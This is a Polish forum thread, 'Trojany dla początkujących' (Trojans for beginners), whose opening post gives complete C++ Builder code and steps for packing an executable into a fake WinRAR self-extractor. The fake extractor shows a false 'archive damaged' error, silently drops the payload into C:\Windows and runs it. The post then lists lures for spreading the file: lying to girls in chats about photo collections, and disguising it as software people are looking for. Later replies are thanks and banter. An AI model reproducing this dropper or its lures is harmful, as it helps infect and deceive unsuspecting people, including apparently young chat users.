Trojany dla początkujących

...czyli co i jak zrobić
TwojStary
Awatar użytkownika
Super VIP
Posty: 12091
Rejestracja: 15 kwie 2013, o 00:03
Lokalizacja: Ukryte
Beczki: 480
Kontaktowanie:

Trojany dla początkujących

Post #52596 autor: TwojStary » 6 gru 2013, o 15:15

Jest wiele sposobów na podrzucenie komuś trojana.
Nie odkryłem Ameryki, ale uważam, że ten sposób połączony z socjotechniką na chociażby
podstawowym poziomie może przynieść oczekiwane efekty.

Tworzymy dwa pliki textowe o rozszerzeniach *.RC i *.RH
Nazwa obydwóch musi być identyczna. W przykładzie przyjąłem, że te pliki to app.rh i app.rc

Zawartość pliku *.RC
-----------------------------------

Kod:

#include "app.rh"

<--nazwa pliku *.RH

Kod:

ID_APPL RCDATA "C:\\plik.exe"

<--nazwa programu wraz ze ścieżką do niego
-----------------------------------
Zawartość pliku *.RH
-----------------------------------

Kod:

#ifndef APP_RH

<--Gdzie APP to nazwa tworzonych właśnie plików

Kod:

#define APP_RH

<--Gdzie APP to nazwa tworzonych właśnie plików

Kod:

#define ID_APPL 1000

<--Gdzie ID_APPL to identyfikator zasobu. Liczba pozostaje bez zmian.

Kod:

#endif

-----------------------------------

Otwieramy BCB (testowane na BCB6)
Tworzymy nowy projekt
Ustawiamy wartości Form1 na:

Caption = Winrar Self Extractor
Color = clMaroon
TransparentColor = True
TransparentColorValue = clMaroon (Taki sam kolor jak podany w wartości "Color")
BorderStyle = BsNone

W menu "Project" wybieramy "Add To Project..." i wybieramy wcześniej utworzony plik *.RC

W pliku źródłowym Unit1.cpp

Pod wpisem #include "Unit1.h" dodajemy
-----------------------------------

Kod:

#include <memory>


Kod:

#include "app.rh"

<--nazwa pliku *.RH (Pliki *.RC i *.RH muszą być w tym samym folderze)
-----------------------------------
Tworzymy funkcje wypakowywującą nasz plik:
-----------------------------------------------

Kod:

void __fastcall Extractor(unsigned short ID, AnsiString FileName)
{
HRSRC rsrc = FindResource(HInstance, MAKEINTRESOURCE(ID), RT_RCDATA);
if(!rsrc)
{
Application->MessageBox("Archiwum uszkodzone",
"WinRar Self Extractor", MB_OK | MB_ICONSTOP);
return;
}

DWORD Size = SizeofResource(HInstance, rsrc);
HGLOBAL MemoryHandle = LoadResource(HInstance, rsrc);

if(MemoryHandle == NULL) return;

BYTE *MemPtr = (BYTE *)LockResource(MemoryHandle);

std::auto_ptr<TMemoryStream>stream(new TMemoryStream);
stream->Write(MemPtr, Size);
stream->Position = 0;

TMemoryStream *Ms = new TMemoryStream;
Ms->Position = 0;
Ms->LoadFromStream(stream.get());
Ms->Position = 0;
Ms->SaveToFile(FileName);
Ms->Free();
}

-------------------------------------------------

Funkcje wywołujemy w zdarzeniu Form1 OnActivate
-------------------------------------------------

Kod:

Extractor(ID_APPL, "C:\\Windows\\plik.exe");

<-ID_APPL identyfiktor pliku a ścieżka to miejsce docelowe

Kod:

Application->MessageBox("Archiwum uszkodzone.","Winrar Self Extractor",
MB_OK | MB_ICONHAND );

<-- Fałszywy komunikat o uszkodzeniu archiwum

Kod:

WinExec("C:\\Windows\\plik.exe", SW_SHOW);

<--Urachamia wypakowany plik

Kod:

Close();

<--Wiadomo chyba....
-------------------------------------------------

Project\Options\Packages i odznaczamy "Build with runtime packages"
Przechodzimy do zakładki Linker o odznaczamy "Use dynamic RTL" i "Use debug libraries"
Dopiero kompilujemy itd.

Ok. Doszliśmy do końca projektu (prawie).
Teraz wystarczy zmienić domyślną ikonę programu na ikone Self Extractora z Winrara.
Jeśli jej nie mamy bardzo prosto można ją wyciągnąć programem IrfanView.
Well Done (znowu prawie).

Teraz kilka wariantów na podrzucenie komuś tak spreparowanego pliku:

1. Głupim lolitkom na czatach mówiąc, że to kolekcja ze stu spakowanych zdjęć.
Jak by były wbrew pozorom nie ufne to mówisz, że dodawanie stu załączników jest
trochę uciążliwe i czasochłonne, a masz tyle zdjęć bo jesteś modelem itd..
Na pewno łykną.

2. Czekasz aż ktoś z sieci zapyta Cię o jakiś ważny dla niego program wtedy zmieniasz nazwę pliku na program którego szuka i dajesz mu to czego szukał ;)

3. Udostępniasz w sieci Plik z nazwą np. "9999 Tips & Tricks" lub coś w podobnie na co jest popyt i czekasz.
_________________
Tato co robiłeś jak mnie nie było na świecie? byłem TwoimStarym na BW. ~Finczy
ZYCIE POWODUJE PALENIE I PICIE
MGTOW
Remik
Awatar użytkownika
Super VIP
Posty: 6870
Rejestracja: 25 sty 2013, o 20:31
Beczki: 553
Kontaktowanie:

Re: Trojany dla początkujących

Post #52618 autor: Remik » 6 gru 2013, o 23:52

Napisałbym poradnik na dobry phlising, ale zapodziałem plik z danymi, a nie pamiętam kodu. Ema.
_________________
cyka blyat xD
kupamen
User
Posty: 145
Rejestracja: 19 kwie 2013, o 23:01
Kontaktowanie:

Re: Trojany dla początkujących

Post #53390 autor: kupamen » 14 gru 2013, o 13:19

przyda sie dzienki
zjamnik
User
Posty: 261
Rejestracja: 17 kwie 2013, o 19:19

Re: Trojany dla początkujących

Post #53430 autor: zjamnik » 14 gru 2013, o 19:03

I co to niby robi?
_________________
Twoja sygnatura była nieregulaminowa i została usunięta przez coś.
Zapoznaj się z regulaminem.
TwojStary
Awatar użytkownika
Super VIP
Posty: 12091
Rejestracja: 15 kwie 2013, o 00:03
Lokalizacja: Ukryte
Beczki: 480
Kontaktowanie:

Re: Trojany dla początkujących

Post #53434 autor: TwojStary » 14 gru 2013, o 20:03

zjamnik pisze:I co to niby robi?

ZA TAKIE NIEŚMIESZNE ŻARTY O TEJ GODZINIE NIE RAZ JUŻ BANY LECIAŁY

Serio.
_________________
Tato co robiłeś jak mnie nie było na świecie? byłem TwoimStarym na BW. ~Finczy
ZYCIE POWODUJE PALENIE I PICIE
MGTOW
pikus
User
Posty: 134
Rejestracja: 23 gru 2013, o 08:43

Re: Trojany dla początkujących

Post #55394 autor: pikus » 23 gru 2013, o 14:42

Dzięki, przyda się :thumbup:
rusek
User
Posty: 204
Rejestracja: 7 gru 2013, o 20:29
Beczki: 4
Kontaktowanie:

Re: Trojany dla początkujących

Post #62679 autor: rusek » 23 sty 2014, o 11:49

a gdzie jakieś pliki próbne? bo pisać mi się nie chce ;P
pawian
Awatar użytkownika
Moderator
Posty: 22640
Rejestracja: 5 lis 2013, o 17:01
Beczki: 555
Kontaktowanie:

Re: Trojany dla początkujących

Post #62697 autor: pawian » 23 sty 2014, o 13:00

Pliki próbne pewnie usunięte z powodu trojanów :czesc:
_________________
Obrazek
rusek
User
Posty: 204
Rejestracja: 7 gru 2013, o 20:29
Beczki: 4
Kontaktowanie:

Re: Trojany dla początkujących

Post #62702 autor: rusek » 23 sty 2014, o 13:09

na serwerze jest antywirus?
TR-17F
User
Posty: 63
Rejestracja: 21 mar 2014, o 00:00
Beczki: 1
Kontaktowanie:

Re: Trojany dla początkujących

Post #91867 autor: TR-17F » 17 maja 2014, o 22:28

Tak, Avast.
Poradnik fajny, ciekawe czy sam pisałeś czy copy & paste.
Remik
Awatar użytkownika
Super VIP
Posty: 6870
Rejestracja: 25 sty 2013, o 20:31
Beczki: 553
Kontaktowanie:

Re: Trojany dla początkujących

Post #91870 autor: Remik » 17 maja 2014, o 22:37

phpBB [youtube]


Musiałem xD
Za ten post Remik otrzymał beczkę od:
Franz
_________________
cyka blyat xD
Ridż
Awatar użytkownika
User
Posty: 64992
Rejestracja: 13 kwie 2013, o 21:50
Beczki: 830
Kontaktowanie:

Re: Trojany dla początkujących

Post #91871 autor: Ridż » 17 maja 2014, o 22:43

Remik pisze:
phpBB [youtube]


Musiałem xD

chujowe, niezabawne
_________________
gitara siema :ahus2:
Remik
Awatar użytkownika
Super VIP
Posty: 6870
Rejestracja: 25 sty 2013, o 20:31
Beczki: 553
Kontaktowanie:

Re: Trojany dla początkujących

Post #92203 autor: Remik » 19 maja 2014, o 16:06

Ridż pisze:Musiałem xD

chujowe, niezabawne[/quote]

Przepraszam, że wyśmiewam się z Twojej dziewczyny :badger:
_________________
cyka blyat xD
Ridż
Awatar użytkownika
User
Posty: 64992
Rejestracja: 13 kwie 2013, o 21:50
Beczki: 830
Kontaktowanie:

Re: Trojany dla początkujących

Post #92208 autor: Ridż » 19 maja 2014, o 16:16

Remik pisze:Przepraszam, że wyśmiewam się z Twojej dziewczyny :badger:

:b: :b:
Mimo wszystko to chujowe.
_________________
gitara siema :ahus2:

Szybka odpowiedź

   

Wróć do „Poradniki”



Kto jest online

Użytkownicy przeglądający to forum: Obecnie na forum nie ma żadnego zarejestrowanego użytkownika i 0 gości